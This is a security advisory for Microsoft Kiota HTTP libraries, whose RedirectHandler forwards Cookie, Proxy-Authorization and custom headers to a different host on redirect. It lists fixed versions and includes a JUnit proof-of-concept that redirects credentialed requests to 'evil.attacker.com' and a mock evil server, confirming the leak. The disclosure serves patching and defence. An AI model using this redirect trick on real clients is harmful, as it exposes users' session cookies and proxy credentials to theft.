VDB
Sign up
HIGH

GHSA-7j59-v9qr-6fq9

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

Quick fix

GHSA-7j59-v9qr-6fq9 — com.microsoft.kiota:microsoft-kiota-abstractions: upgrade to the fixed version with the command below.

# pom.xml: bump <version>1.9.1</version> for com.microsoft.kiota:microsoft-kiota-abstractions

Details

### Summary The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

### Details Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

``` boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme()); boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString()); if (!sameScheme || !sameHost) { requestBuilder.removeHeader("Authorization"); // BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed } ```

### PoC 1. Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java

2. Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content: ``` package com.microsoft.kiota.http.middleware; import static org.junit.jupiter.api.Assertions.*; import com.microsoft.kiota.http.KiotaClientFactory; import okhttp3.*; import okhttp3.mockwebserver.*; import org.junit.jupiter.api.Test;

public class SecurityPoC { @Test void crossHostRedirectLeaksCookies() throws Exception { Request original = new Request.Builder() .url("http://trusted.example.com/api") .addHeader("Authorization", "Bearer token") .addHeader("Cookie", "session=SECRET") .addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==") .build(); Response redirect = new Response.Builder() .request(original).protocol(Protocol.HTTP_1_1) .code(302).message("Found") .header("Location", "http://evil.attacker.com/steal") .body(ResponseBody.create("", MediaType.parse("text/plain"))) .build(); Request result = new RedirectHandler().getRedirect(original, redirect); assertNotNull(result); assertEquals("evil.attacker.com", result.url().host()); assertNull(result.header("Authorization")); // stripped (good) assertEquals("session=SECRET", result.header("Cookie")); // LEAKED assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED }

@Test void endToEndProof() throws Exception { var evil = new MockWebServer(); evil.start(); evil.enqueue(new MockResponse().setResponseCode(200)); var trusted = new MockWebServer(); trusted.start(); trusted.enqueue(new MockResponse().setResponseCode(302) .setHeader("Location", evil.url("/steal"))); OkHttpClient client = KiotaClientFactory.create( new Interceptor[]{new RedirectHandler()}).build(); client.newCall(new Request.Builder().url(trusted.url("/api")) .addHeader("Cookie", "session=SECRET").build()).execute(); trusted.takeRequest(); RecordedRequest captured = evil.takeRequest(); assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server evil.shutdown(); trusted.shutdown(); } } ```

3. Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"

4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

### Impact The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact: - Session hijacking via leaked Cookie headers - Corporate proxy credential theft via leaked Proxy-Authorization - API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Are you affected?

Enter the version of the package you're using.

Affected packages

Maven/com.microsoft.kiota:microsoft-kiota-abstractions
Introduced in: 0Fixed in: 1.9.1
Fix# pom.xml: bump <version>1.9.1</version> for com.microsoft.kiota:microsoft-kiota-abstractions
NuGet/Microsoft.Kiota.Abstractions
Introduced in: 0Fixed in: 1.22.0
Fixdotnet add package Microsoft.Kiota.Abstractions --version 1.22.0
PyPI/microsoft-kiota-http
Introduced in: 0Fixed in: 1.9.9
Fixpip install --upgrade 'microsoft-kiota-http>=1.9.9'
npm/kiota-typescript
Introduced in: 0Fixed in: 1.0.0-preview.100
Fixnpm install kiota-typescript@1.0.0-preview.100
Go/github.com/microsoft/kiota-http-go
Introduced in: 0Fixed in: 1.5.5
Fixgo get github.com/microsoft/kiota-http-go@v1.5.5

References